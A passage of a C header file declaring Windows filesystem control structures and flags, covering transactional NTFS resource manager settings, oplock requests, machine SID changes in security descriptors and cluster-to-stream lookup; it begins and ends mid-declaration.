TXFS_RM_FLAG_PRESERVE_CHANGES                      |   \\\r\n                 TXFS_RM_FLAG_RESET_RM_AT_NEXT_START                |   \\\r\n                 TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START         |   \\\r\n                 TXFS_RM_FLAG_PREFER_CONSISTENCY                    |   \\\r\n                 TXFS_RM_FLAG_PREFER_AVAILABILITY)\r\n\r\ntypedef struct _TXFS_MODIFY_RM {\r\n\r\n    //\r\n    //  TXFS_RM_FLAG_* flags\r\n    //\r\n\r\n    ULONG Flags;\r\n\r\n    //\r\n    //  Maximum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX is set.\r\n    //\r\n\r\n    ULONG LogContainerCountMax;\r\n\r\n    //\r\n    //  Minimum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN is set.\r\n    //\r\n\r\n    ULONG LogContainerCountMin;\r\n\r\n    //\r\n    //  Target log container count for TXFS_RM_FLAG_SHRINK_LOG or _GROW_LOG.\r\n    //\r\n\r\n    ULONG LogContainerCount;\r\n\r\n    //\r\n    //  When the log is full, increase its size by this much.  Indicated as either a percent of\r\n    //  the log size or absolute container count, depending on which of the TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_*\r\n    //  flags is set.\r\n    //\r\n\r\n    ULONG LogGrowthIncrement;\r\n\r\n    //\r\n    //  Sets autoshrink policy if TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE is set.  Autoshrink\r\n    //  makes the log shrink so that no more than this percentage of the log is free at any time.\r\n    //\r\n\r\n    ULONG LogAutoShrinkPercentage;\r\n\r\n    //\r\n    //  Reserved.\r\n    //\r\n\r\n    ULONGLONG Reserved;\r\n\r\n    //\r\n    //  If TXFS_RM_FLAG_LOGGING_MODE is set, this must contain one of TXFS_LOGGING_MODE_SIMPLE\r\n    //  or TXFS_LOGGING_MODE_FULL.\r\n    //\r\n\r\n    USHORT LoggingMode;\r\n\r\n} TXFS_MODIFY_RM,\r\n *PTXFS_MODIFY_RM;\r\n\r\n#define TXFS_RM_STATE_NOT_STARTED       0\r\n#define TXFS_RM_STATE_STARTING          1\r\n#define TXFS_RM_STATE_ACTIVE            2\r\n#define TXFS_RM_STATE_SHUTTING_DOWN     3\r\n\r\n#define TXFS_QUERY_RM_INFORMATION_VALID_FLAGS                           \\\r\n                (TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS   |   \\\r\n                 TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT          |   \\\r\n                 TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX            |   \\\r\n                 TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN            |   \\\r\n                 TXFS_RM_FLAG_RESET_RM_AT_NEXT_START                |   \\\r\n                 TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START         |   \\\r\n                 TXFS_RM_FLAG_PREFER_CONSISTENCY                    |   \\\r\n                 TXFS_RM_FLAG_PREFER_AVAILABILITY)\r\n\r\ntypedef struct _TXFS_QUERY_RM_INFORMATION {\r\n\r\n\tULONG BytesRequired;\r\n\t\r\n\tULONGLONG TailLsn;\r\n\tULONGLONG CurrentLsn;\r\n\tULONGLONG ArchiveTailLsn;\r\n\tULONGLONG LogContainerSize;\r\n\tLARGE_INTEGER HighestVirtualClock;\r\n\tULONG LogContainerCount;\r\n\tULONG LogContainerCountMax;\r\n\tULONG LogContainerCountMin;\r\n\tULONG LogGrowthIncrement;\r\n\tULONG LogAutoShrinkPercentage;\r\n\tULONG Flags;\r\n\r\n    //\r\n    //  Exactly one of TXFS_LOGGING_MODE_SIMPLE or TXFS_LOGGING_MODE_FULL.\r\n    //\r\n\r\n    USHORT LoggingMode;\r\n\r\n    //\r\n    //  Reserved.\r\n    //\r\n\r\n    USHORT Reserved;\r\n\r\n    //\r\n    //  Activity state of the RM.  May be exactly one of the above-defined TXF_RM_STATE_ values.\r\n    //\r\n\r\n    ULONG RmState;\r\n\r\n    //\r\n    //  Total capacity of the log in bytes.\r\n    //\r\n\r\n    ULONGLONG LogCapacity;\r\n\r\n    //\r\n    //  Amount of free space in the log in bytes.\r\n    //\r\n\r\n    ULONGLONG LogFree;\r\n\r\n    //\r\n    //  Size of $Tops in bytes.\r\n    //\r\n\r\n    ULONGLONG TopsSize;\r\n\r\n    //\r\n    //  Amount of space in $Tops in use.\r\n    //\r\n\r\n    ULONGLONG TopsUsed;\r\n\r\n    //\r\n    //  Number of transactions active in the RM at the time of the call.\r\n    //\r\n\r\n    ULONGLONG TransactionCount;\r\n\r\n    //\r\n    //  Total number of single-phase commits that have happened the RM.\r\n    //\r\n\r\n    ULONGLONG OnePCCount;\r\n\r\n    //\r\n    //  Total number of two-phase commits that have happened the RM.\r\n    //\r\n\r\n    ULONGLONG TwoPCCount;\r\n\r\n    //\r\n    //  Number of times the log has filled up.\r\n    //\r\n\r\n    ULONGLONG NumberLogFileFull;\r\n\r\n    //\r\n    //  Age of oldest active transaction in the RM, in milliseconds.\r\n    //\r\n\r\n    ULONGLONG OldestTransactionAge;\r\n\r\n\t\tGUID RMName;\r\n\r\n    ULONG TmLogPathOffset;\r\n\r\n} TXFS_QUERY_RM_INFORMATION,\r\n *PTXFS_QUERY_RM_INFORMATION;\r\n\r\n#define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN        0x01\r\n#define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK   0x02\r\n\r\n#define TXFS_ROLLFORWARD_REDO_VALID_FLAGS                               \\\r\n                (TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN |         \\\r\n                 TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK)\r\n\r\ntypedef struct _TXFS_ROLLFORWARD_REDO_INFORMATION {\r\n    LARGE_INTEGER  LastVirtualClock;\r\n    ULONGLONG LastRedoLsn;\r\n    ULONGLONG HighestRecoveryLsn;\r\n    ULONG Flags;\r\n} TXFS_ROLLFORWARD_REDO_INFORMATION,\r\n *PTXFS_ROLLFORWARD_REDO_INFORMATION;\r\n\r\n#define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX              0x00000001\r\n#define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN              0x00000002\r\n#define TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE                   0x00000004\r\n#define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS  0x00000008\r\n#define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT         0x00000010\r\n#define TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE           0x00000020\r\n#define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX           0x00000040\r\n#define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN           0x00000080\r\n\r\n#define TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT                  0x00000200\r\n#define TXFS_START_RM_FLAG_LOGGING_MODE                         0x00000400\r\n#define TXFS_START_RM_FLAG_PRESERVE_CHANGES                     0x00000800\r\n\r\n#define TXFS_START_RM_FLAG_PREFER_CONSISTENCY                   0x00001000\r\n#define TXFS_START_RM_FLAG_PREFER_AVAILABILITY                  0x00002000\r\n\r\n#define TXFS_START_RM_VALID_FLAGS                                           \\\r\n                (TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX             |   \\\r\n                 TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN             |   \\\r\n                 TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE                  |   \\\r\n                 TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS |   \\\r\n                 TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT        |   \\\r\n                 TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE          |   \\\r\n                 TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT                 |   \\\r\n                 TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX          |   \\\r\n                 TXFS_START_RM_FLAG_LOGGING_MODE                        |   \\\r\n                 TXFS_START_RM_FLAG_PRESERVE_CHANGES                    |   \\\r\n                 TXFS_START_RM_FLAG_PREFER_CONSISTENCY                  |   \\\r\n                 TXFS_START_RM_FLAG_PREFER_AVAILABILITY)\r\n\r\ntypedef struct _TXFS_START_RM_INFORMATION {\r\n\r\n    //\r\n    //  TXFS_START_RM_FLAG_* flags.\r\n    //\r\n\r\n    ULONG Flags;\r\n\r\n    //\r\n    //  RM log container size, in bytes.  This parameter is optional.\r\n    //\r\n\r\n    ULONGLONG LogContainerSize;\r\n\r\n    //\r\n    //  RM minimum log container count.  This parameter is optional.\r\n    //\r\n\r\n    ULONG LogContainerCountMin;\r\n\r\n    //\r\n    //  RM maximum log container count.  This parameter is optional.\r\n    //\r\n\r\n    ULONG LogContainerCountMax;\r\n\r\n    //\r\n    //  RM log growth increment in number of containers or percent, as indicated\r\n    //  by TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_* flag.  This parameter is\r\n    //  optional.\r\n    //\r\n\r\n    ULONG LogGrowthIncrement;\r\n\r\n    //\r\n    //  RM log auto shrink percentage.  This parameter is optional.\r\n    //\r\n\r\n    ULONG LogAutoShrinkPercentage;\r\n\r\n    //\r\n    //  Offset from the beginning of this structure to the log path for the KTM\r\n    //  instance to be used by this RM.  This must be a two-byte (WCHAR) aligned\r\n    //  value.  This parameter is required.\r\n    //\r\n\r\n    ULONG TmLogPathOffset;\r\n\r\n    //\r\n    //  Length in bytes of log path for the KTM instance to be used by this RM.\r\n    //  This parameter is required.\r\n    //\r\n\r\n    USHORT TmLogPathLength;\r\n\r\n    //\r\n    //  Logging mode for this RM.  One of TXFS_LOGGING_MODE_SIMPLE or\r\n    //  TXFS_LOGGING_MODE_FULL (mutually exclusive).  This parameter is optional,\r\n    //  and will default to TXFS_LOGGING_MODE_SIMPLE.\r\n    //\r\n\r\n    USHORT LoggingMode;\r\n\r\n    //\r\n    //  Length in bytes of the path to the log to be used by the RM.  This parameter\r\n    //  is required.\r\n    //\r\n\r\n    USHORT LogPathLength;\r\n\r\n    //\r\n    //  Reserved.\r\n    //\r\n\r\n    USHORT Reserved;\r\n\r\n    //\r\n    //  The path to the log (in Unicode characters) to be used by the RM goes here.\r\n    //  This parameter is required.\r\n    //\r\n\r\n    WCHAR LogPath[1];\r\n\r\n} TXFS_START_RM_INFORMATION,\r\n *PTXFS_START_RM_INFORMATION;\r\n\r\n//\r\n//  Structures for FSCTL_TXFS_GET_METADATA_INFO\r\n//\r\n\r\ntypedef struct _TXFS_GET_METADATA_INFO_OUT {\r\n\r\n    //\r\n    //  Returns the TxfId of the file referenced by the handle used to call this routine.\r\n    //\r\n\r\n    struct {\r\n        LONGLONG LowPart;\r\n        LONGLONG HighPart;\r\n    } TxfFileId;\r\n\r\n    //\r\n    //  The GUID of the transaction that has the file locked, if applicable.\r\n    //\r\n\r\n    GUID LockingTransaction;\r\n\r\n    //\r\n    //  Returns the LSN for the most recent log record we've written for the file.\r\n    //\r\n\r\n    ULONGLONG LastLsn;\r\n\r\n    //\r\n    //  Transaction state, a TXFS_TRANSACTION_STATE_* value.\r\n    //\r\n\r\n    ULONG TransactionState;\r\n\r\n} TXFS_GET_METADATA_INFO_OUT, *PTXFS_GET_METADATA_INFO_OUT;\r\n\r\n#define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_CREATED   0x00000001\r\n#define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_DELETED   0x00000002\r\n\r\ntypedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY {\r\n\r\n    //\r\n    //  Offset in bytes from the beginning of the TXFS_LIST_TRANSACTION_LOCKED_FILES\r\n    //  structure to the next TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY.\r\n    //\r\n\r\n    ULONGLONG Offset;\r\n\r\n    //\r\n    //  TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_* flags to indicate whether the\r\n    //  current name was deleted or created in the transaction.\r\n    //\r\n\r\n    ULONG NameFlags;\r\n\r\n    //\r\n    //  NTFS File ID of the file.\r\n    //\r\n\r\n    LONGLONG FileId;\r\n\r\n    //\r\n    //  Reserved.\r\n    //\r\n\r\n    ULONG Reserved1;\r\n    ULONG Reserved2;\r\n    LONGLONG Reserved3;\r\n\r\n    //\r\n    //  NULL-terminated Unicode path to this file, relative to RM root.\r\n    //\r\n\r\n    WCHAR FileName[1];\r\n} TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY, *PTXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY;\r\n\r\n\r\ntypedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES {\r\n\r\n    //\r\n    //  GUID name of the KTM transaction that files should be enumerated from.\r\n    //\r\n\r\n    GUID KtmTransaction;\r\n\r\n    //\r\n    //  On output, the number of files involved in the transaction on this RM.\r\n    //\r\n\r\n    ULONGLONG NumberOfFiles;\r\n\r\n    //\r\n    //  The length of the buffer required to obtain the complete list of files.\r\n    //  This value may change from call to call as the transaction locks more files.\r\n    //\r\n\r\n    ULONGLONG BufferSizeRequired;\r\n\r\n    //\r\n    //  Offset in bytes from the beginning of this structure to the first\r\n    //  TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY.\r\n    //\r\n\r\n    ULONGLONG Offset;\r\n} TXFS_LIST_TRANSACTION_LOCKED_FILES, *PTXFS_LIST_TRANSACTION_LOCKED_FILES;\r\n\r\n//\r\n//  Structures for FSCTL_TXFS_LIST_TRANSACTIONS\r\n//\r\n\r\ntypedef struct _TXFS_LIST_TRANSACTIONS_ENTRY {\r\n\r\n    //\r\n    //  Transaction GUID.\r\n    //\r\n\r\n    GUID TransactionId;\r\n\r\n    //\r\n    //  Transaction state, a TXFS_TRANSACTION_STATE_* value.\r\n    //\r\n\r\n    ULONG TransactionState;\r\n\r\n    //\r\n    //  Reserved fields\r\n    //\r\n\r\n    ULONG Reserved1;\r\n    ULONG Reserved2;\r\n    LONGLONG Reserved3;\r\n} TXFS_LIST_TRANSACTIONS_ENTRY, *PTXFS_LIST_TRANSACTIONS_ENTRY;\r\n\r\ntypedef struct _TXFS_LIST_TRANSACTIONS {\r\n\r\n    //\r\n    //  On output, the number of transactions involved in this RM.\r\n    //\r\n\r\n    ULONGLONG NumberOfTransactions;\r\n\r\n    //\r\n    //  The length of the buffer required to obtain the complete list of\r\n    //  transactions.  Note that this value may change from call to call\r\n    //  as transactions enter and exit the system.\r\n    //\r\n\r\n    ULONGLONG BufferSizeRequired;\r\n} TXFS_LIST_TRANSACTIONS, *PTXFS_LIST_TRANSACTIONS;\r\n\r\n\r\n#if _MSC_VER >= 1200\r\n#pragma warning(push)\r\n#endif\r\n#pragma warning(disable:4201)       // unnamed struct\r\n\r\ntypedef struct _TXFS_READ_BACKUP_INFORMATION_OUT {\r\n    union {\r\n\r\n        //\r\n        //  Used to return the required buffer size if return code is STATUS_BUFFER_OVERFLOW\r\n        //\r\n\r\n        ULONG BufferLength;\r\n\r\n        //\r\n        //  On success the data is copied here.\r\n        //\r\n\r\n        UCHAR Buffer[1];\r\n    } DUMMYUNIONNAME;\r\n} TXFS_READ_BACKUP_INFORMATION_OUT, *PTXFS_READ_BACKUP_INFORMATION_OUT;\r\n\r\n#if _MSC_VER >= 1200\r\n#pragma warning(pop)\r\n#else\r\n#pragma warning( default : 4201 )\r\n#endif\r\n\r\ntypedef struct _TXFS_WRITE_BACKUP_INFORMATION {\r\n    UCHAR Buffer[1];\r\n} TXFS_WRITE_BACKUP_INFORMATION, *PTXFS_WRITE_BACKUP_INFORMATION;\r\n\r\n#define TXFS_TRANSACTED_VERSION_NONTRANSACTED   0xFFFFFFFE\r\n#define TXFS_TRANSACTED_VERSION_UNCOMMITTED     0xFFFFFFFF\r\n\r\ntypedef struct _TXFS_GET_TRANSACTED_VERSION {\r\n\r\n    //\r\n    //  The version that this handle is opened to.  This will be\r\n    //  TXFS_TRANSACTED_VERSION_UNCOMMITTED for nontransacted and\r\n    //  transactional writer handles.\r\n    //\r\n\r\n    ULONG ThisBaseVersion;\r\n\r\n    //\r\n    //  The most recent committed version available.\r\n    //\r\n\r\n    ULONG LatestVersion;\r\n\r\n    //\r\n    //  If this is a handle to a miniversion, the ID of the miniversion.\r\n    //  If it is not a handle to a minivers, this field will be 0.\r\n    //\r\n\r\n    USHORT ThisMiniVersion;\r\n\r\n    //\r\n    //  The first available miniversion.  Unless the miniversions are\r\n    //  visible to the transaction bound to this handle, this field will be zero.\r\n    //\r\n\r\n    USHORT FirstMiniVersion;\r\n\r\n    //\r\n    //  The latest available miniversion.  Unless the miniversions are\r\n    //  visible to the transaction bound to this handle, this field will be zero.\r\n    //\r\n\r\n    USHORT LatestMiniVersion;\r\n\r\n} TXFS_GET_TRANSACTED_VERSION, *PTXFS_GET_TRANSACTED_VERSION;\r\n\r\n\r\n#define TXFS_SAVEPOINT_SET                      0x00000001\r\n\r\n//\r\n//  Roll back to a specified savepoint.\r\n//\r\n\r\n#define TXFS_SAVEPOINT_ROLLBACK                 0x00000002\r\n\r\n//\r\n//  Clear (make unavailable for rollback) the most recently set savepoint\r\n//  that has not yet been cleared.\r\n//\r\n\r\n#define TXFS_SAVEPOINT_CLEAR                    0x00000004\r\n\r\n//\r\n//  Clear all savepoints from the transaction.\r\n//\r\n\r\n#define TXFS_SAVEPOINT_CLEAR_ALL                0x00000010\r\n\r\ntypedef struct _TXFS_SAVEPOINT_INFORMATION {\r\n    HANDLE KtmTransaction;\r\n    ULONG ActionCode;\r\n    ULONG SavepointId;\r\n} TXFS_SAVEPOINT_INFORMATION, *PTXFS_SAVEPOINT_INFORMATION;\r\n\r\n\r\ntypedef struct _TXFS_CREATE_MINIVERSION_INFO {\r\n\r\n    USHORT StructureVersion;\r\n    USHORT StructureLength;\r\n    ULONG BaseVersion;\r\n    USHORT MiniVersion;\r\n} TXFS_CREATE_MINIVERSION_INFO, *PTXFS_CREATE_MINIVERSION_INFO;\r\n\r\n\r\ntypedef struct _TXFS_TRANSACTION_ACTIVE_INFO {\r\n\tBOOLEAN TransactionsActiveAtSnapshot;\r\n\r\n} TXFS_TRANSACTION_ACTIVE_INFO, *PTXFS_TRANSACTION_ACTIVE_INFO;\r\n\r\n#endif /* _WIN32_WINNT >= 0x0600 */\r\n\r\n#if (_WIN32_WINNT >= 0x0601)\r\n\r\ntypedef struct _BOOT_AREA_INFO {\r\n\r\n    ULONG               BootSectorCount;  // the count of boot sectors present on the file system\r\n    struct {\r\n        LARGE_INTEGER   Offset;\r\n    } BootSectors[2];                     // variable number of boot sectors.\r\n\r\n} BOOT_AREA_INFO, *PBOOT_AREA_INFO;\r\n\r\ntypedef struct _RETRIEVAL_POINTER_BASE {\r\n\r\n    LARGE_INTEGER       FileAreaOffset; // sector offset to the first allocatable unit on the filesystem\r\n} RETRIEVAL_POINTER_BASE, *PRETRIEVAL_POINTER_BASE;\r\n\r\ntypedef struct _FILE_FS_PERSISTENT_VOLUME_INFORMATION {\r\n\r\n    ULONG VolumeFlags;\r\n    ULONG FlagMask;\r\n    ULONG Version;\r\n    ULONG Reserved;\r\n\r\n} FILE_FS_PERSISTENT_VOLUME_INFORMATION, *PFILE_FS_PERSISTENT_VOLUME_INFORMATION;\r\n\r\ntypedef struct _FILE_SYSTEM_RECOGNITION_INFORMATION {\r\n\r\n    CHAR FileSystem[9];\r\n\r\n} FILE_SYSTEM_RECOGNITION_INFORMATION, *PFILE_SYSTEM_RECOGNITION_INFORMATION;\r\n\r\n#define OPLOCK_LEVEL_CACHE_READ         (0x00000001)\r\n#define OPLOCK_LEVEL_CACHE_HANDLE       (0x00000002)\r\n#define OPLOCK_LEVEL_CACHE_WRITE        (0x00000004)\r\n\r\n#define REQUEST_OPLOCK_INPUT_FLAG_REQUEST               (0x00000001)\r\n#define REQUEST_OPLOCK_INPUT_FLAG_ACK                   (0x00000002)\r\n#define REQUEST_OPLOCK_INPUT_FLAG_COMPLETE_ACK_ON_CLOSE (0x00000004)\r\n\r\n#define REQUEST_OPLOCK_CURRENT_VERSION          1\r\n\r\ntypedef struct _REQUEST_OPLOCK_INPUT_BUFFER {\r\n\r\n    //\r\n    //  This should be set to REQUEST_OPLOCK_CURRENT_VERSION.\r\n    //\r\n\r\n    USHORT StructureVersion;\r\n\r\n    USHORT StructureLength;\r\n\r\n    //\r\n    //  One or more OPLOCK_LEVEL_CACHE_* values to indicate the desired level of the oplock.\r\n    //\r\n\r\n    ULONG RequestedOplockLevel;\r\n\r\n    //\r\n    //  REQUEST_OPLOCK_INPUT_FLAG_* flags.\r\n    //\r\n\r\n    ULONG Flags;\r\n\r\n} REQUEST_OPLOCK_INPUT_BUFFER, *PREQUEST_OPLOCK_INPUT_BUFFER;\r\n\r\n#define REQUEST_OPLOCK_OUTPUT_FLAG_ACK_REQUIRED     (0x00000001)\r\n#define REQUEST_OPLOCK_OUTPUT_FLAG_MODES_PROVIDED   (0x00000002)\r\n\r\ntypedef struct _REQUEST_OPLOCK_OUTPUT_BUFFER {\r\n\r\n    USHORT StructureVersion;\r\n\r\n    USHORT StructureLength;\r\n\r\n    ULONG OriginalOplockLevel;\r\n\r\n    ULONG NewOplockLevel;\r\n\r\n    ULONG Flags;\r\n\r\n    ACCESS_MASK AccessMode;\r\n\r\n    USHORT ShareMode;\r\n\r\n} REQUEST_OPLOCK_OUTPUT_BUFFER, *PREQUEST_OPLOCK_OUTPUT_BUFFER;\r\n\r\n\r\n#define SD_GLOBAL_CHANGE_TYPE_MACHINE_SID   1\r\n\r\ntypedef struct _SD_CHANGE_MACHINE_SID_INPUT {\r\n\r\n    USHORT CurrentMachineSIDOffset;\r\n    USHORT CurrentMachineSIDLength;\r\n\r\n    USHORT NewMachineSIDOffset;\r\n    USHORT NewMachineSIDLength;\r\n\r\n} SD_CHANGE_MACHINE_SID_INPUT, *PSD_CHANGE_MACHINE_SID_INPUT;\r\n\r\ntypedef struct _SD_CHANGE_MACHINE_SID_OUTPUT {\r\n\r\n    //\r\n    //  How many entries were successfully changed in the $Secure stream\r\n    //\r\n\r\n    ULONGLONG NumSDChangedSuccess;\r\n\r\n    //\r\n    //  How many entries failed the update in the $Secure stream\r\n    //\r\n\r\n    ULONGLONG NumSDChangedFail;\r\n\r\n    //\r\n    //  How many entries are unused in the current security stream\r\n    //\r\n\r\n    ULONGLONG NumSDUnused;\r\n\r\n    //\r\n    //  The total number of entries processed in the $Secure stream\r\n    //\r\n\r\n    ULONGLONG NumSDTotal;\r\n\r\n    //\r\n    //  How many entries were successfully changed in the $MFT file\r\n    //\r\n\r\n    ULONGLONG NumMftSDChangedSuccess;\r\n\r\n    //\r\n    //  How many entries failed the update in the $MFT file\r\n    //\r\n\r\n    ULONGLONG NumMftSDChangedFail;\r\n\r\n    //\r\n    //  Total number of entries process in the $MFT file\r\n    //\r\n\r\n    ULONGLONG NumMftSDTotal;\r\n\r\n} SD_CHANGE_MACHINE_SID_OUTPUT, *PSD_CHANGE_MACHINE_SID_OUTPUT;\r\n\r\n//\r\n//  Generic INPUT & OUTPUT structures for FSCTL_SD_GLOBAL_CHANGE\r\n//\r\n\r\n#if _MSC_VER >= 1200\r\n#pragma warning(push)\r\n#endif\r\n#pragma warning(disable:4201)       // unnamed struct\r\n\r\ntypedef struct _SD_GLOBAL_CHANGE_INPUT\r\n{\r\n    //\r\n    //  Input flags (none currently defined)\r\n    //\r\n\r\n    ULONG Flags;\r\n\r\n    //\r\n    //  Specifies which type of change we are doing and pics which member\r\n    //  of the below union is in use.\r\n    //\r\n\r\n    ULONG ChangeType;\r\n\r\n    union {\r\n\r\n        SD_CHANGE_MACHINE_SID_INPUT SdChange;\r\n    };\r\n\r\n} SD_GLOBAL_CHANGE_INPUT, *PSD_GLOBAL_CHANGE_INPUT;\r\n\r\ntypedef struct _SD_GLOBAL_CHANGE_OUTPUT\r\n{\r\n\r\n    //\r\n    //  Output State Flags (none currently defined)\r\n    //\r\n\r\n    ULONG Flags;\r\n\r\n    //\r\n    //  Specifies which below union to use\r\n    //\r\n\r\n    ULONG ChangeType;\r\n\r\n    union {\r\n\r\n        SD_CHANGE_MACHINE_SID_OUTPUT SdChange;\r\n    };\r\n\r\n} SD_GLOBAL_CHANGE_OUTPUT, *PSD_GLOBAL_CHANGE_OUTPUT;\r\n\r\n#if _MSC_VER >= 1200\r\n#pragma warning(pop)\r\n#else\r\n#pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */\r\n#endif\r\n\r\n//\r\n//  Flag to indicate the encrypted file is sparse\r\n//\r\n\r\n#define ENCRYPTED_DATA_INFO_SPARSE_FILE    1\r\n\r\ntypedef struct _EXTENDED_ENCRYPTED_DATA_INFO {\r\n\r\n    ULONG ExtendedCode;\r\n    ULONG Length;\r\n    ULONG Flags;\r\n    ULONG Reserved;\r\n\r\n} EXTENDED_ENCRYPTED_DATA_INFO, *PEXTENDED_ENCRYPTED_DATA_INFO;\r\n\r\n\r\ntypedef struct _LOOKUP_STREAM_FROM_CLUSTER_INPUT {\r\n    ULONG         Flags;\r\n    ULONG         NumberOfClusters;\r\n    LARGE_INTEGER Cluster[1];\r\n} LOOKUP_STREAM_FROM_CLUSTER_INPUT, *PLOOKUP_STREAM_FROM_CLUSTER_INPUT;\r\n\r\ntypedef struct _LOOKUP_STREAM_FROM_CLUSTER_OUTPUT {\r\n    ULONG         Offset;\r\n    ULONG         NumberOfMatches;\r\n    ULONG         BufferSizeRequired;\r\n} LOOKUP_STREAM_FROM_CLUSTER_OUTPUT, *PLOOKUP_STREAM_FROM_CLUSTER_OUTPUT;\r\n\r\n#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_PAGE_FILE          0x00000001\r\n#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_DENY_DEFRAG_SET    0x00000002\r\n#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_FS_SYSTEM_FILE     0x00000004\r\n#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_TXF_SYSTEM_FILE    0x00000008\r\n\r\n#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_MASK          0xff000000\r\n#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_DATA          0x01000000\r\n#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_INDEX         0x02000000\r\n#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_SYSTEM        0x03000000\r\n\r\ntypedef struct _LOOKUP_STREAM_FROM_CLUSTER_ENTRY {\r\n    ULONG         OffsetToNext;\r\n    ULONG         Flags;\r\n    LARGE_INTEGER Reserved;\r\n    LARGE_INTEGER Cluster;\r\n    WCHAR         FileName[1];\r\n} LOOKUP_STREAM_FROM_CLUSTER_ENTRY, *PLOOKUP_STREAM_FROM_CLUSTER_ENTRY;\r\n\r\ntypedef struct _FILE_TYPE_NOTIFICATION_INPUT {\r\n\r\n    ULONG Flags;\r\n    ULONG NumFileTypeIDs;\r\n    GUID FileTypeID[1];\r\n\r\n} FILE_TYPE_NOTIFICATION_INPUT, *PFILE_TYPE_NOTIFICATION_INPUT;\r\n\r\n#define FILE_TYPE_NOTIFICATION_FLAG_USAGE_BEGIN     0x00000001      //Set when adding the specified usage on the given file\r\n#define FILE_TYPE_NOTIFICATION_FLAG_USAGE_END       0x00000002      //Set when removing the specified usage on the given file\r\n\r\nDEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_PAGE_FILE,         0x0d0a64a1, 0x38fc, 0x4db8, 0x9f, 0xe7, 0x3f, 0x43, 0x52, 0xcd, 0x7c, 0x5c );\r\nDEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_HIBERNATION_FILE,  0xb7624d64, 0xb9a3, 0x4cf8, 0x80, 0x11, 0x5b, 0x86, 0xc9, 0x40, 0xe7, 0xb7 );\r\nDEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_CRASHDUMP_FILE,    0x9d453eb7, 0xd2a6, 0x4dbd, 0xa2, 0xe3, 0xfb, 0xd0, 0xed, 0x91, 0x09, 0xa9 );\r\n#endif /* _WIN32_WINNT >= 0x0601 */\r\n\r\n#endif // _FILESYSTEMFSCTL_\r\n\r\n// 21.12.2011 - end\r\n\r\n// 09.06.2011 - end\r\n\r\ntypedef enum 